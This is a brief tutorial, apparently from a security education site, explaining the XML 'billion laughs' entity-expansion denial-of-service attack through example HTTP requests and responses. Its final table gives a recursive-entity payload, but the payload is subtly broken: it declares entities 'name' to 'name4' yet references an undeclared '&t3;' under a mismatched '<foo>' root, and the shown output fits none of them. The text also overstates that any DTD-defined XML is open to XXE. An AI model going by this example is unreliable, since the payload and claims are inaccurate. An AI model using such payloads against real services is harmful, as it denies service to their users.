Billion Laughs Attack
Consider a web application that accepts XML input and outputs the result. A request would look like this:
| Request | POST http://example.com/xml HTTP/1.1<mytype>Hello and welcome to my website!</mytype> |
|---|---|
| Response | HTTP/1.0 200 OKHello and welcome to my website! |
XML documents can have a specific type, which can be defined using two standards – XSD and DTD. XML documents defined using a DTD are vulnerable to XXE attacks.
See the following example, which uses a DTD called mytype. This DTD defines an XML entity called name. When this element is called in the HTML output, the XML parser reads the DTD and replaces it with a value.
| Request | POST http://example.com/xml HTTP/1.1<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE mytype [ <!ELEMENT mytype ANY> <!ENTITY name "John">]><mytype> Hello &name; and welcome to my website!</mytype> |
|---|---|
| Response | HTTP/1.0 200 OK Hello John and welcome to my website! |
Now let’s see how an attacker can carry the so-called “billion laughs attack”. If the XML parser does not limit the amount of memory it can use, this attack uses a recursive technique to overload its memory.
| Request | POST http://example.com/xml HTTP/1.1<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE mytype [ <!ELEMENT mytype ANY> <!ENTITY name "John "> <!ENTITY name2 "&name;&name;"> <!ENTITY name3 "&name2;&name2;&name2;&name2;"> <!ENTITY name4 "&name3;&name3;&name3;&name3;">]><foo> Hello &t3;</foo> |
|---|---|
| Response | ResponseHTTP/1.0 200 OK Hello John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John |
In essence, this is a type of denial of service (DoS) attack that can deny access to an application relying on an XML parser.